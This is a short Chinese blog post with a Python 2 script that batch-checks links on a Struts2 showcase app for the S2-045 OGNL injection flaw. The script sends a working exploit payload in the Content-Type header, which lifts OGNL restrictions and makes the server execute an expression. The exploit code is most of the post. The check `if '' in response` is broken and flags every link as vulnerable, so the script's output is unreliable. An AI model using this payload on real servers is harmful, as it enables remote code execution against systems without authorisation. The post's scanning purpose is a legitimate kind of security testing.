【Python】struts2-045批量检测
2024-08-29 12:52:42
0x00 环境
存在struts2-045漏洞的war包
apache-tomcat
0x01 脚本
#coding:utf-8 import re
import urllib
import urllib2
import linecache url="http://127.0.0.1:8080/struts2-rest-showcase/orders.xhtml"
resp=urllib.urlopen(url).read()
data=re.compile(r'href=.+\"\s').findall(resp)
#读取网页中链接
for i in data:
link='http://127.0.0.1:8080/struts2-rest-showcase/'+i.split('\"')[1]
# with open('url.txt','a') as fw:
# fw.write(link+'\n')
payload="%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"
ua_headers={"user-agent":"Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36","Content-Type":payload}
try:
req=urllib2.Request(link,headers=ua_headers)
response=urllib2.urlopen(req).read()
if '' in response:
print '存在struts2-045漏洞'+':'+'\t'+link
except Exception,e:
print e
我这里简单抓了一下网站的链接,然后批量检测,结果如下图:
最新文章
- 学习总结之 WebApi 用户登录和匿名登录,及权限验证
- 第二章 搭建Android开发环境--读书笔记
- new的原罪
- Ceph性能测试工具和方法。
- excel文档
- JavaScript高级程序设计36.pdf
- Sublime Text 3安装与使用 Package Control 插件安装
- 【转】Ubuntu命令行下安装、卸载、管理软件包的方法
- Gizmos绘制塔防游戏网格
- UIView和其子类的几个初始化函数执行的时机
- ProcessBuilder 和 Runtime(转)
- 【踩坑】近来在Firefox上遇到的一些坑
- Penalty
- 【第二篇】学习 android 事件总线androidEventbus之异步事件的传递
- 求前n个素数(C++)
- webdriver之select、alert、prompt、confirm
- Spring的AOP基于AspectJ的注解方式开发1
- python项目运行环境安装小结
- 20165303 2017-2017-2《Java程序设计》课程总结
- css 的pointer-events 属性